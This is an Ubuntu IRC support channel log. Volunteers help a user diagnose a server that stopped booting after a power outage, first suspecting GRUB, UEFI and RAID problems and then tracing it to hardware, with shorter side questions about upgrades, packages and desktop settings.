[00:01] <Bashing-om> quadrathoch2: :D Help is what we do -
[00:26] <ExcessiveAggro> evening all
[00:27] <ExcessiveAggro> I had a power outage last night and I have a machine that is no longer booting.  It just goes to black screen with blinking cursor.  I tried reinstalling grub2 but still have the same results - any ideas?
[00:28] <ExcessiveAggro> i can boot in to a liveCD and see all the partitions just fine
[00:28] <cart_man> tomreyn: Hey is there some file that Nvidia drivers use to set up Desktop and screens? I deleted ~/.config/monitors.xml and nothing changed after reboot
[00:30] <Bashing-om> ExcessiveAggro: From that liveCD run 'fsck' on the installed root partiton. Often times a power failure leaves the file system in an inconsistent state.
[00:31] <ExcessiveAggro> ok let me give that a go
[00:31] <ExcessiveAggro> do i need to be in chroot?
[00:32] <Bashing-om> ExcessiveAggro: No need for a change root - just point the repair toll to the partiton to look at it and repair as it can.
[00:32] <ExcessiveAggro> on it - thank you
[00:32] <Bashing-om> tool*
[00:36] <ExcessiveAggro> Bashing-om: What am I looking for when this runs?  It says: /dev/sde5: clean, ... files, ... blocks
[00:40] <Bashing-om> ExcessiveAggro: That partion checks as good . Is that "root's" partition ? Might show us - in a pastebin - what you are working with ' sudo fdisk -lu '.
[00:42] <ExcessiveAggro> here you go - https://pastebin.com/TPtWha8A
[00:43] <ExcessiveAggro> lots of drives in there... /dev/sde5 is my root partition and /dev/sde1 is the /boot
[00:44] <ExcessiveAggro> one thing I'm confused by.... sde2 and sde5 look the same start and end sectors
[00:45] <Bashing-om> ExcessiveAggro: Looking ^ .
[00:45] <oerheks> extended ..
[00:46] <oerheks> within that extended, one has room for more than 4 partitions. not sure why you choose extended.
[00:46] <ExcessiveAggro> no clue - this thing was built a while back
[00:47] <ExcessiveAggro> months... not years ;)
[00:47] <oerheks> you would save 2 block
[00:47] <oerheks> so nothing odd, linux installed itself in one partition, so swap is swapfile, instead of partition.
[00:48] <ExcessiveAggro> ah ok
[00:48] <oerheks> and that 512 sde1, if for your UEFI bios.
[00:49] <ExcessiveAggro> oerheks is grub supposed to be in that 512m spot?
[00:49] <ExcessiveAggro> because thats where i reinstalled grub2 at
[00:51] <ExcessiveAggro> i mounted sde5 to /mnt then mounted sde1 to /mnt/boot.  Then did a grub reinstall
[00:52] <oerheks> no, to /boot/ AFAIK https://help.ubuntu.com/community/Grub2/Installing
[00:52] <oerheks> uefi just gives the adress and modules to handle grub/mbr/gpt
[00:52] <ExcessiveAggro> so what goes in that uefi partition?  how do i recreate it properly
[00:55] <ExcessiveAggro> because no doubt ive borked it... I installed grub in to it
[00:55] <oerheks> not sure howto recreate that partition, why do you think it is wrong?
[00:55] <oerheks> grub does not install to fat32..
[00:56] <ExcessiveAggro> well i mounted that 512m partition to /boot... then ran a grub install to it
[00:56] <ExcessiveAggro> there was nothing in it... i thought that might have been what was wrong
[00:56] <shelcod> Hey everyone. I'm trying to install Ubuntu on an old x86-based tablet. and it installed fine, but by default the tablet wants to display everything in a 9:16 aspect ratio, and rotating the screen to be 16:9 has really bad screen tearing that isn't there when the tablet screen is not rotated. Is there a way to fix the screen tearing?
[00:57] <quadrathoch2> ExcessiveAggro that partition is /boot/efi which is fat32 with only the efi files in it. /boot should be on your /, except you created a /boot part
[00:58] <oerheks> shelcod, screen tearing as it is not fast enough? care to share what tablet, and what ubuntu version?
[00:59] <cart_man> tomreyn: Hey is there some file that Nvidia drivers use to set up Desktop and screens? I deleted ~/.config/monitors.xml and nothing changed after reboot
[00:59] <shelcod> screen tearing as in there is no vsync and certain parts of the screen are updating faster then other parts.
[00:59] <oerheks> ExcessiveAggro, reinstall again, just with sde5
[01:00] <shelcod> I'm looking for the model number, but I'm using Ubuntu 20.04.
[01:01] <shelcod> Model number is NS-P08W7100-C.
[01:01] <oerheks> = gnome3, might be too heavy, use a lighter desktop, mate or xubuntu?
[01:01] <shelcod> I am using XFCE.
[01:03] <ExcessiveAggro> quadrathoch2 and oerheks - thanks attempting now
[01:05] <oerheks> baytrail tablet.. good luck with those, 64 bit processor, 32 bit uefi :-(
[01:06] <shelcod> I already got Ubuntu installed by using a script that adds a 32 bit bootloader to the ISO
[01:10] <ExcessiveAggro> quadrathoch2 and oerheks - so odd... black screen, cursor comes up, then carriage returns once, then sits there
[01:11] <oerheks> maybe just boot in recovery and perform apt install -f or updates again?
[01:11] <oerheks> !recovery
[01:15] <ExcessiveAggro> I tried that in the beginning and couldnt ever get grub to respond by holding SHIFT like it says in the article.  So I figured grub was broken
[01:16] <ExcessiveAggro> going to attempt again
[01:17] <Bashing-om> ExcessiveAggro: EFI then it is the escape key that grub looks for.
[01:32] <ExcessiveAggro> Bashing-om shouldnt /boot/efi have something in it?  a listable file of some sort?
[01:33] <ExcessiveAggro> Mine is empty - and i have the 512m boot partition mounted there
[01:35] <tomreyn> ExcessiveAggro: maybe that's not the efi system partition your system booted from? do you have other storage media attached?
[01:35] <Bashing-om> ExcessiveAggro: Yeah it should - however as I do not have access to a EFI machine I can not verify what :(
[01:36] <ExcessiveAggro> im going to pull all the other drives out to see what may be going on.
[01:36] <tomreyn> echo -n 'This system booted via: '; [ -d /sys/firmware/efi ] && echo UEFI || echo BIOS
[01:36] <tomreyn> ^ verify how you booted
[01:37] <ExcessiveAggro> well.... apparently this is a wild goosechase because it says i booted via bios
[01:38] <ExcessiveAggro> So my grub-install is not doing the efi install because i booted via bios
[01:39] <tomreyn> right
[01:40] <jrm> Hi.  packages.ubuntu.com tells me that there is a focal package for openjdk-8-jre-headless.  However when I do sudo apt update && sudo apt install, I get E: Unable to locate package openjdk-8-jre-headless.  Most other packages are located and installed fine.  Am I missing something?
[01:44] <tomreyn> !universe | jrm
[01:44] <tomreyn> you are probably missing the  'universe' component
[01:44] <jrm> Thanks tomreyn
[01:44] <ExcessiveAggro> tomreyn: I'm booting from a usb stick because the system is not booting.  Do you know how i boot via EFI so i can do a grub reinstall with efi?
[01:45] <quadrathoch2> ExcessiveAggro you would  need to choose the efi boot option in your uefi boot menu
[01:45] <tomreyn> ExcessiveAggro: you boot from a system that boot in uefi mode, such as the ubuntu installer / live images can (they are hybrid, support uefi + legacy bios boot)
[01:46] <tomreyn> also, note that sde has an msdos partition table, not gpt, which is unusual for uefi booting
[01:47] <ExcessiveAggro> tomreyn: ok I'm not sure why it's set up like that - it was done with a ubuntu install CD originally so not sure what it was doing
[01:48] <ExcessiveAggro> I'm not sure if this system is bios or UEFI - assumed it was UEFI because i saw the 512m partition
[01:49] <ExcessiveAggro> ands that partition is mounted in  /etc/fstab
[01:50] <quadrathoch2> ExcessiveAggro it is for sure UEFI, uefi doesn't care if its mbr or gpt, gpt is just the newer partition layout. *shrug*
[01:50] <ExcessiveAggro> got it.  let me tinker a little longer here.  Man this is bizarre to me
[01:53] <tomreyn> past boot's logs would probably show "efi: EFI" and "EFI VGA" for uefi boots
[01:53] <Bashing-om> !uefi | ExcessiveAggro
[02:23] <ExcessiveAggro> Well... It boots just fine with only 1 drive in it.  But all the other drives are my raid arrays so thats no good
[02:24] <Bashing-om> !raid | ExcessiveAggro
[02:26] <tomreyn> then my theory would be that your mainboard firmware ("BIOS") is configured to do legacy boot, and finds a boot loader on one of the RAID disks' first MB
[02:27] <tomreyn> (but that boot loader is broken or doesn't know how to boot ubuntu off your sde partition)
[02:28] <ExcessiveAggro> when i leave sde in the system alone - it boots up
[02:28] <ExcessiveAggro> and i set the boot priority for that disk to be booted first.
[02:30] <tomreyn> so if you can make it boot, then you can check how it booted then
[02:30] <ExcessiveAggro> good call let me do that
[02:31] <ExcessiveAggro> is it possible ubuntu created an efi partition but doesnt need it?
[02:32] <tomreyn> if you're actually booting it in bios mode from a boot loader installed elsewhere, that could be.
[02:32] <ExcessiveAggro> booting now without other disks - lets see what it says
[02:42] <ExcessiveAggro> tomreyn it looks like it booted BIOS
[02:43] <ExcessiveAggro> so lets say this thing is BIOS and not EFI... any thoughts on how i repair this?
[02:48] <ExcessiveAggro> if it boots fine with just the system drive... and it can see all drives properly when booted from a livecd... im not sure why it wont boot off the system drive when all drives are in.  maybe a hardware failure
[02:49] <quadrathoch2> ExcessiveAggro did you check that the bios boots from the correct drive?
[02:49] <quadrathoch2> at least this sounds like the bios tries to boot from the wrong one
[02:50] <ExcessiveAggro> thats where my head keeps going... but ive even forced it to hit that drive first
[02:51] <ExcessiveAggro> even selected in a manual bbs menu
[02:52] <quadrathoch2> i assume you are using UUIDs in /etc/fstab?
[02:52] <ExcessiveAggro> yes sir
[02:52] <ExcessiveAggro> double checked them
[02:52] <ExcessiveAggro> booting up now with just one array installed... see if that goes
[02:54] <quadrathoch2> could you post your fdisk again? I can't scroll up enough for the link :(
[02:54] <ExcessiveAggro> well this is cool... it booted with one array in... going to shut down and put another one in..
[02:54] <ExcessiveAggro> https://pastebin.com/TPtWha8A
[02:55] <ExcessiveAggro> aw crap it timed out
[03:03] <ExcessiveAggro> quadrathoch2 - booting it back up now with all the drives in it - will be able to get a new fdisk
[03:07] <quadrathoch2> i'm still not understanding why there is an uefi partition with a bios install ( as the installer wouldn't create it in bios mode)
[03:07] <quadrathoch2> could it be a relic of an old install?
[03:07] <ExcessiveAggro> quadrathoch2 that is very possible
[03:07] <quadrathoch2> ahh, so that's why it's maybe empty
[03:08] <ExcessiveAggro> I'm starting to think this may be a power supply issue.  ABout to test that theory now
[03:08] <quadrathoch2> oh you are right, totally forgot that it could be hw related
[03:08] <ExcessiveAggro> just put the other array in - and left the first one off.  if it boots then they all boot, just not at the same time
[03:19] <quadrathoch2> ExcessiveAggro so does it boot?
[03:22] <ExcessiveAggro> quadrathoch2: https://pastebin.com/6scbRb3p
[03:22] <ExcessiveAggro> no i didnt boot with the other array in.  Almost like something is wrong with that array that prevents even grub from loading
[03:22] <ExcessiveAggro> but I just booted back up in to the liveCD and i can mount that array no issues.
[03:23] <lesterc> Hi peeps! Tried microstack recently and found it awesome! Where can I find more information?
[03:26] <quadrathoch2> ExcessiveAggro ehm, whats your raid setup? as you have discs without any partitions Oo
[03:26] <quadrathoch2> trying to understand that
[03:27] <ExcessiveAggro> gimme a moment - putting that pastebin together now
[03:27] <BlitzerHound> I don't know if this is the proper channel to ask for help with this, but I've been really having trouble installing anything via terminal lately. It just says that it can't fetch stuff, and lots of 404 errors. I can pastebin if y'all need
[03:28] <quadrathoch2> BlitzerHound yes, paste it to a paste service so we can see whats going on
[03:29] <BlitzerHound> https://pastebin.com/DH72rQkS
[03:29] <BlitzerHound> I ran the command sudo apt-get install intltool
[03:29] <lotuspsychje> lesterc: https://ubuntu.com/tutorials/microstack-get-started?&_ga=2.259466570.1526014397.1615692545-402761834.1615692545#1-overview
[03:30] <quadrathoch2> BlitzerHound your version of ubuntu is eol
[03:30] <BlitzerHound> What does that mean?
[03:30] <quadrathoch2> you should have upgraded a while ago ;)
[03:30] <quadrathoch2> !eon
[03:30] <BlitzerHound> !eon
[03:30] <quadrathoch2> ahh, sorry, thought it would recognise the name, but it doesnt
[03:30] <BlitzerHound> Oh. So do I have to install a whole new operating system?
[03:31] <quadrathoch2> no you can still upgrade
[03:31] <quadrathoch2> but first  you would need to make sure to be up to date on eon
[03:31] <quadrathoch2> !eolupgrade
[03:31] <ExcessiveAggro> quadrathoch2: Here is the disk configuration - https://pastebin.com/hYza6a73
[03:31] <quadrathoch2> BlitzerHound sounds like you want to stay on the LTS releases of ubuntu (so you would need to upgrade at the latest every 5 years)
[03:32] <BlitzerHound> I'm using lubuntu, is that different than ubuntu?
[03:32] <ExcessiveAggro> booting to a liveCD and i can manually mount all raid arrays and the Volume group.
[03:34] <quadrathoch2> BlitzerHound no
[03:34] <quadrathoch2> ExcessiveAggro wow, never seen such a setup ;) that's why I was confused
[03:34] <ExcessiveAggro> yeah it's a little bizarre.  I was trying to use all the space on those drives while also staying redundant
[03:35] <ExcessiveAggro> and they were different size drivse so had to get a little creative
[03:35] <BlitzerHound> I don't really understand what I'm reading here...
[03:35] <quadrathoch2> *cough* btrfs xD
[03:36] <ExcessiveAggro> quadrathoch2 haha well I definitely need to learn a little more, I'm no expert there
[03:36] <BlitzerHound> Should I just follow the commands it says here?
[03:36] <quadrathoch2> BlitzerHound short version: edit your sources.list file to the new location of the official eon repos, update your system, make sure you have a backup, and verify that the ppa or third party repos have a focal version of packages, upgrade to focal
[03:37] <quadrathoch2> ExcessiveAggro this is imho one of the big upsides of btrfs, as you can just use any combination of disks
[03:37] <quadrathoch2> on the other hand raid5/6 is not stable as of right now (but it's getting tackled this year)
[03:38] <ExcessiveAggro> heres what im thinking on this issue.... whats the easiest way to wipe all the drives that are in that VG?
[03:38] <ExcessiveAggro> because i can move all the data off them while im on the liveCD
[03:38] <ExcessiveAggro> and that VG is the one preventing the boot
[03:39] <quadrathoch2> eh destroy the partition table? or just format them
[03:39] <quadrathoch2> oh wait
[03:39] <quadrathoch2> you can just destroy the vg
[03:39] <BlitzerHound> quadrathoch2, thank you, I'll try. I'm just dumb when it comes to this stuff
[03:40] <ExcessiveAggro> im thinking about destroy the vg, the partition tables, the raid arrays, and anytyhing that makes those drive a living creature
[03:40] <quadrathoch2> BlitzerHound, take you time, and if you have questions, people are here to answer them ;)
[03:40] <quadrathoch2> just make sure to upgrade earlier (so it's way easier)
[03:40] <quadrathoch2> oh if you can do that, why not just recreate the whole system (imho)
[03:40] <quadrathoch2> ExcessiveAggro ^
[03:41] <ExcessiveAggro> i have lots of app installs :(
[03:41] <quadrathoch2> kk
[03:41] <quadrathoch2> it was just a suggestion ;)
[03:41] <ExcessiveAggro> and the other array that is working has all the installs on it
[03:41] <ExcessiveAggro> i will just start backing out this VG all the way down to bare metal
[03:42] <quadrathoch2> kk, btw, any reason why on the one md you use partitions, on the other the whole disk?
[03:42] <lesterc> lotuspsychje: I have done the tutorial. Thanks though!
[03:42] <ExcessiveAggro> the one with the whole disk... someone told me the partitions werent necessary any more
[03:42] <ExcessiveAggro> its a newer array
[03:43] <quadrathoch2> ExcessiveAggro eh, i wouldn't do that, it's okay but it could give you headaches when you lose 1 drive
[03:43] <quadrathoch2> because if you new drive has 1 bit less of space then the old ones, you can add it to the array
[03:43] <quadrathoch2> thats why normally you use partitions
[03:44] <ExcessiveAggro> quadrathoch2 ah thats a good reason - the guy who told me didnt mention that
[03:44] <lesterc> small ssd for OS and big HDD for /home FTW ExcessiveAggro.
[03:45] <tomreyn> https://microstack.run/docs
[03:45] <quadrathoch2> uiui, just saw a 112 gigs fat32 partition :), sounds like dual boot somehow
[03:46] <ExcessiveAggro> thats the usb stick i booted this livecd off of
[03:46] <lesterc> tomreyn: I went through that - I'm checking https://opendev.org/x/microstack
[03:47] <quadrathoch2> huh fat32 oO
[03:47] <quadrathoch2> ExcessiveAggro so back to topic, which arrays are you destroying now?
[03:48] <ExcessiveAggro> vg0  - which is md0 and md1
[03:50] <quadrathoch2> ExcessiveAggro ever thought about zfs?
[03:50] <quadrathoch2> just giving you options ;)
[03:50] <lesterc> +1 quadrathoch2 ^_^
[03:50] <lesterc> especially on ubuntu with zfs rootfs
[03:50] <ExcessiveAggro> yeah i could do that too
[03:51] <ExcessiveAggro> id be happy to rebuild these disks with zfs
[03:51] <ExcessiveAggro> im having a brain-fart here trying to determine where my raid UUID came from
[03:51] <lesterc> What are we working with here? desktop/rack mount?
[03:52] <quadrathoch2> sounds like desktop lesterc
[03:52] <lesterc> there are UUID on bloack device and LVM
[03:52] <lesterc> k
[03:52] <ExcessiveAggro> its a 4u rack mount
[03:52] <ExcessiveAggro> 16 drivebays
[03:52] <lesterc> What do you use it for?
[03:53] <lesterc> Are we setting up a new server?
[03:53] <lesterc> Any existing data? Any backup?
[03:53] <ExcessiveAggro> my own private google lol.  It's running plex, nextcloud, a few game servers
[03:53] <lesterc> (sorry I missed a bunch of info - got disconnected ^_^)
[03:53] <quadrathoch2> holy moly, so that's then a really really weird setup then ;)
[03:53] <quadrathoch2> ExcessiveAggro> my own private google lol.  It's running plex, nextcloud, a few game servers
[03:54] <ExcessiveAggro> check out this pastebin for my silly disk configuration - https://pastebin.com/hYza6a73
[03:54] <lesterc> so md1 = rootfs?
[03:55] <ExcessiveAggro> all the important stuff lives in md2 and its running fine
[03:55] <quadrathoch2> root is a single disk
[03:55] <lesterc> That's a weird setup :D
[03:55] <ExcessiveAggro> if you want to see the rest - https://pastebin.com/6scbRb3p
[03:55] <quadrathoch2> yeah, imho I would really build it from the ground up :/
[03:56] <quadrathoch2> even if it means recreating everything (so wasting a bit of a few hours) as it's less headache if something breaks
[03:56] <ruenoak> Hi all is there away of replacing your pgp key in Launchpad with a new one? I lost my original key and need to replace it.  I asked over at the Launchpad channel but seems a bit quiet over there. Thanks
[03:56] <quadrathoch2> but that's me :)
[03:56] <ExcessiveAggro> i likely will - just need to get nextcloud and the other items back up so i can pull everything off cleanly
[03:57] <lesterc> quadrathoch2++
[03:57] <quadrathoch2> hrhr, I would even go as far as figuring out the sorting of the disks, I would hate sde as being root :/
[03:57] <quadrathoch2> xD
[03:58] <lesterc> Get a few new drives are you can down size and save on power hehe
[03:58] <ExcessiveAggro> haha yeah that happened along the way because of the onboard SAS connectors
[03:58] <lesterc> s/are/and/
[03:58] <ExcessiveAggro> they were in the way of my bitcoin mining GPU :)
[03:59] <ExcessiveAggro> so sda got moved to sd2
[03:59] <ExcessiveAggro> err e*
[03:59] <quadrathoch2> btw how did you setup nextcloud etc? ExcessiveAggro
[03:59] <quadrathoch2> or your services in particular
[04:00] <ExcessiveAggro> 1 at a time :)
[04:00] <ExcessiveAggro> found the ubuntu nextcloud instructions somewhere and walked through them
[04:00] <ExcessiveAggro> then had to migrate the data to the array
[04:00] <quadrathoch2> ahh
[04:04] <lesterc> man - I need to get ZNC working again.
[04:05] <lesterc> So no openstack/k8s people here?
[04:05] <quadrathoch2> for what lesterc
[04:06] <quadrathoch2> but i assume probably not ^^
[04:07] <lesterc> ops/infra operators - I am sick of the (very old) foreman setup at work and want to move to something morden
[04:07] <lesterc> but lacks experience
[04:08] <quadrathoch2> so what's the question then?
[04:11] <ExcessiveAggro> if you have 2 fingers - cross them for me
[04:12] <lesterc> lol damn I said that to new hires all the time! Okay questions: any official docs for microstack or do I need to refer to officially openstack docs?
[04:12] <ExcessiveAggro> just blasted all those drives and rebooting
[04:12] <lesterc> ExcessiveAggro: good luck :D
[04:13] <lotuspsychje> lesterc: idle around in #ubuntu-server perhaps for likeminded volunteers
[04:13] <lotuspsychje> lesterc: or #ubuntu-discuss for other microstack lovers, never know
[04:13] <quadrathoch2> ExcessiveAggro yep, good luck :)
[04:14] <lesterc> lotuspsychje: good advice.
[04:23] <ExcessiveAggro> well...
[04:23] <ExcessiveAggro> this has to be a hardware problem because even with those drives wiped it wont boot when they are plugged in
[04:23] <ExcessiveAggro> take them out and she comes right up.  They are all plugged in to the same SAS backplane so im betting its borked
[04:24] <quadrathoch2> ugh, that's bad :( ExcessiveAggro
[04:25] <ExcessiveAggro> well good news is the system is up along with the main array
[04:25] <ExcessiveAggro> just need to start swapping hardware to see if its the backplane, or a powersupply issue
[04:26] <quadrathoch2> have fun I guess ExcessiveAggro
[04:26] <quadrathoch2> :)
[04:36] <lesterc> All the reasons I downsized my home setup... I only run 3 HP microserver-like boxes and even that I don't have all of them on all the time. /me too cheap for h/w and power
[04:39] <ExcessiveAggro> lesterc - hey I feel you.  I just didnt feel comfortable with all my stuff in the cloud anymore
[04:40] <ExcessiveAggro> I guess I need to spring for bigger drives and a smaller quantity of them
[04:40] <lesterc> *thumbsup*
[04:40] <quadrathoch2> ExcessiveAggro why not just use them till you need bigger ones, or they fail. i mean you already have them ;)
[04:40] <quadrathoch2> imho the software side could be better but that's it
[04:41] <ExcessiveAggro> well if its a mobo or powersupply issue i guess i can just replace it and move on
[04:42] <ExcessiveAggro> the mobo is ancient in this thing.  i probably should do that
[04:42] <lesterc> Another thing for home setup I only do zfs mirrors these days - that keeps things simple. I value more time than the space wasted.
[04:42] <lesterc> s/more/my/
[04:42] <ExcessiveAggro> think i should do a desktop mobo?
[04:43] <ExcessiveAggro> or this - https://www.newegg.com/asus-ws-c246-pro-intel-xeon-processor-e-2100-family-intel-pentium-processors-intel-celeron-processor/p/N82E16813119329?Item=9SIA25VCMV3745
[04:46] <quadrathoch2> imho the biggest factor is probably IPMI, if its needed or not
[04:46] <ExcessiveAggro> im not up on that - is that for management?
[04:47] <ExcessiveAggro> since this lives in my house im ok with it not having lots of out of band management
[04:48] <quadrathoch2> ExcessiveAggro then any mobo should be fine
[04:48] <quadrathoch2> but yes IPMI is just remove management
[04:53] <lesterc> **remote management
[04:53] <lesterc> once you have more than a few boxes it's a must IMHO.
[04:54] <lesterc> and opens a whole new world with provisioning.
[04:54] <ExcessiveAggro> I used to have quite a few at home but down-sized to just this one box.
[04:54] <lesterc> precisely why I stopped doing homelabs - too expensive and I couldn't justisfy the cost when I'm working 6 days a week
[04:55] <lesterc> Better plan: get a job that will pay you to do all that hahahaha...
[04:55] <ExcessiveAggro> lesterc: I hear you
[04:56] <quadrathoch2> hm, i moved to 1L systems, where I shove in 2-3 disks (2.5")
[04:56] <quadrathoch2> so they don't take too much space
[04:56] <ExcessiveAggro> im gonna move to a 30-node raspberry pi beowulf cluster
[04:56] <ExcessiveAggro> store it in a shoebox
[04:56] <ExcessiveAggro> ;)
[04:57] <lesterc> Pis are nice and cool but the return of investment is too low for me.
[04:58]  * lesterc is a cheapsake
[04:58] <quadrathoch2> yeah sadly pis are a bit too expensive for what they are :/
[04:58] <ExcessiveAggro> haha yeah I'm being silly here.  I only have 1 in production right now and it serves a great purpose.
[05:00] <matsaman> they're good if what you want is primarily low power, always-on, no fans
[05:00] <matsaman> although I hear some of the newer pis really want for a fan <shrug>
[05:00] <matsaman> plenty of other SBCs in the sea, though
[05:00] <quadrathoch2> yeah just looking at the construction of the pi 400 just tells you how much cooling is needed
[05:01] <quadrathoch2> but the software support of other sbc are most of the time not as great afaik matsaman
[05:01] <lesterc> there are fanless industry PCs if you want low power and NO noise.
[05:01] <lesterc> I have one of them that sits at the corner of my desk - love that.
[05:02] <quadrathoch2> which one is it (if you remember the name)
[05:03] <lesterc> I can try looking it up
[05:03] <ExcessiveAggro> off-question.  Can i just move these drives to a new mobo and ubuntu will figure it all out?  Or will i need a reinstall?
[05:04] <quadrathoch2> as long as you use UUIDs ubuntu will figure it out
[05:04] <ExcessiveAggro> yes its all done with UUID
[05:04] <ExcessiveAggro> hm that may be sweet
[05:04] <ExcessiveAggro> although i need a reinstall anyway - with zfs is what im hearing from you all
[05:04] <matsaman> ExcessiveAggro: there's a decent chance it will work
[05:04] <matsaman> ExcessiveAggro: zfs? No I wouldn't bother
[05:04] <matsaman> but I missed the conversation
[05:05] <quadrathoch2> sadly btrfs raid5/6 is not stable as of right now, because it would fit for that system perfectly, but zfs i also not too shabby for that, mdraid is still okay though :)
[05:05] <lesterc> quadrathoch2: there are so many of them that looks very similar - probably from the same factory: https://au.banggood.com/search/fanless-mini-pc.html?from=nav (yes hello from Australa)
[05:06] <quadrathoch2> what a name (of the homepage)
[05:06] <quadrathoch2> oh interesting, you were even talking about x86_64
[05:07] <ExcessiveAggro> Complaint about NextCloud - all the data is stored in the file system but obscured away and locked to root.  Are there any good "home cloud platforms" that just point to a standard directory?
[05:07] <matsaman> Debian keeps a nice list of SBCs for their "freedombox" initiative. They're actually better than Raspberry Pis because they rely on less proprietary stuff
[05:08] <matsaman> ExcessiveAggro: you doing RAID then?
[05:08] <ExcessiveAggro> matsaman: yes on raid now but thinking about moving to something else if i have to rebuild
[05:08] <quadrathoch2> ExcessiveAggro seafile
[05:08] <matsaman> ExcessiveAggro: cloud? Are you trying to have backups? Or remotely-accessible data stores, or...?
[05:08] <ExcessiveAggro> you missed my sweet raid configuration earlier -> https://pastebin.com/hYza6a73
[05:09] <quadrathoch2> if you want to have a dropbox "cloud"
[05:09] <ExcessiveAggro> matsaman: would be nice to reach those files from my phone when im away
[05:10] <quadrathoch2> vpn already set up for that?
[05:10] <matsaman> ExcessiveAggro: if your phone lets you do sftp/ssh, then you can just allow remote ssh access
[05:10] <ExcessiveAggro> quadrathoch2: nextcloud used SSL for it.   but i could do a vpn
[05:10] <matsaman> ExcessiveAggro: zero security issues that way
[05:10] <matsaman> webUIs make security really complicated
[05:10] <quadrathoch2> ExcessiveAggro i would try to hide most stuff behind a vpn, so it's less of a security risk.
[05:11] <quadrathoch2> but you could also open the port
[05:11] <ExcessiveAggro> yeah maybe i could just do a vpn and then connect to the share from the phone
[05:11] <quadrathoch2> this is what I do, because I don't need always access to the home network
[05:12] <ExcessiveAggro> this seafile looks like it has a native app
[05:12] <ExcessiveAggro> does that app talk to the server via ssl?  or do you need to vpn in
[05:16] <quadrathoch2> ExcessiveAggro you caught me offguard, but I am sure it's encrypted, give me a sec
[05:16] <ExcessiveAggro> oh you dont have to look it up
[05:16] <ExcessiveAggro> I can go read up
[05:17] <lesterc> my first irc session in many years - it has been fun - cya all internet strangers!
[05:17] <ExcessiveAggro> lesterc: nice chatting friend
[05:17] <quadrathoch2> ExcessiveAggro yeah it's encrypted by https/tls
[05:18] <ExcessiveAggro> I think I'm gonna exit the nextcloud - I thought it would be just like g-drive (and it is) except i hate that i cant reach the files directly using NFS
[05:19] <quadrathoch2> yeah nextcloud is way more than g drive, and it shows. if you only want file sync, its way too much
[05:20] <ExcessiveAggro> well i replaced google photos also with it.  But that didnt turn out well.  70k photos and its been churning on them for weeks
[05:20] <tomreyn> !topic
[05:21] <ExcessiveAggro> tomreyn have we strayed too far off?
[05:21] <quadrathoch2> ExcessiveAggro let's move on to offtopic
[05:21] <ExcessiveAggro> Sorry I forgot I was in Ubuntu - got a little carried away
[05:21] <tomreyn> thanks ;-) it didn't seem like ubuntu support Q&A anymore
[05:22] <ExcessiveAggro> Well thank you all for the support this evening.  System is back up and running, minus 4 drives that i didnt need spinning anyway.
[05:23] <quadrathoch2> np :) and hf :)
[07:21] <piceaglauca> Hey folks. I'm looking for help booting into a Kubuntu USB stick. I get an error from grub> boot -> error: unknown error.
[07:28] <guiverc> piceaglauca, give people a chance to answer before you ask in another channel
[07:29] <piceaglauca> guiverc sorry - I was hedging my bets on where people might be active :)
[09:29] <unixbsd_1> I just managed to play Grand theft auto Vice City, with the gamepad on Ubuntu, and just activated the "Float over water, cars", that's all working. If interested, let know.
[09:30] <lotuspsychje> unixbsd_1: #ubuntu-discuss or #gamingonlinux perhaps
[09:31] <willer> fresh install of xubuntu & nextdns.io as DoH provider - lookint at the logs i'm seeing a DNS request  being sent to example.org every 2-3 minutes. any idea where that may come from?
[09:31] <unixbsd_1> why not #ubuntu-games? this sounds easier to find
[09:31] <unixbsd_1> is there maybe !list channels or something for new bginners, to find out all poppulated ones.
[09:32] <lotuspsychje> !alis | unixbsd_1
[09:32] <unixbsd_1> or /msg Alis list ubuntu
[09:34] <unixbsd_1> thkx
[10:18] <pizzaburger> Hi! Basic command line question: how do you searh manual pages based on keywords? Example would be the "ssh" command and searching for keyword "port". I see that "man ssh | grep port" gives me the desired result (manual page for ssh then pipe that to listing text lines containing the keyword). I've also read that there's a "-k" option which works
[10:18] <pizzaburger> on the man page itself: "man -k ssh". Can you use the "-k" option on other man pages?
[10:36] <antiPoP> Hi, my Ubuntu install stopped detecting my mic, worked fine until today. The mic is detected by pavucontrol but no signal. I tried everything in the help page but didn't work. pavucontrol does not show meters anymore.
[10:43] <clarkk> in ubuntu 20.04, can someone explain how to change the default user Videos, Music, and Pictures directories? I've tried amending ~/.config/user-dirs.dirs, but it just get overwritten and reset on reboot
[10:44] <clarkk> I tried running, xdg-user-dirs-update --set XDG_VIDEOS_DIR "/media/mypath, but XDG_XDG_VIDEOS_DIR_DIR gets added to user-dirs.dirs, which doesn't seem right
[10:45] <clarkk> * user-dirs.dirs, XDG_XDG_VIDEOS_DIR_DIR
[10:45] <clarkk> Looks like underscores are being filtered out in this channel?
[10:53] <unixbsd_1> !alis
[10:56] <clarkk> in ubuntu 20.04, can someone explain how to change the default user Videos, Music, and Pictures directories? I've tried amending ~/.config/user-dirs.dirs, but it just get overwritten and reset on reboot. I tried running, xdg-user-dirs-update --set XDG_VIDEOS_DIR "/media/mypath, but XDG_XDG_VIDEOS_DIR_DIR gets added to user-dirs.dirs, which doesn't seem right
[11:02] <olle_> Can the Ubuntu installer be used to install Ubuntu besides an existing Manjaro system? I had problems with the server version of Ubuntu, but maybe the desktop version will work?
[11:08] <olle_> gonna try with xubuntu
[11:26] <clarkk> I'm using Gnome 3.36 on Ubuntu 20.04. When I go to https://extensions.gnome.org/ and try to install an extension, it Chrome offers to download rather than install it. I could just install it from the extension page when I was on 18.04. Note that I do have https://chrome.google.com/webstore/detail/gnome-shell-integration/gphhapmejobijbbhgpjhcjognlahblep installed in chrome, and chrome-gnome-shell installed in the OS. How do I resolve this?
[11:29] <clarkk> sorry, ignore that question about gnome extensions. I just needed to use the on/off switch on the extensions website to install an extension.  I still need help with changing the Videos, Music and Pictures locations tho
[11:31] <unixbsd_1> do you know any alternative to proftpd that works right ahead for ftp server? (proftpd is buggy, fails to start).
[11:34] <lotuspsychje> unixbsd_1: be carefull with ftp protocol, highly exploited these days
[11:35] <lotuspsychje> unixbsd_1: try an sftp server instead or any other safer protocol
[11:35] <unixbsd_1> i know it is crap
[11:35] <unixbsd_1> proftpd is widely used, I compiled it from source on openbsd. I saw all leaks with that crap soft
[11:36] <unixbsd_1> lot of people still use it to many thigns, and you can enter readily, not due to the soft itself, but the config file is hard to get it secured.
[11:37] <unixbsd_1> I use it on my pi zero samba+ (soon ftp) server on local intranet (only wlan can access it). it is behind several unhackable BSD machines. I use BSD to lock down and increase security. linux is less secured than bsd for hacks./exploits.
[11:56] <BluesKaj> Howdy folks
[11:58] <kirk781> BluesKaj, hello :p
[11:58] <BluesKaj> hi again, kirk781
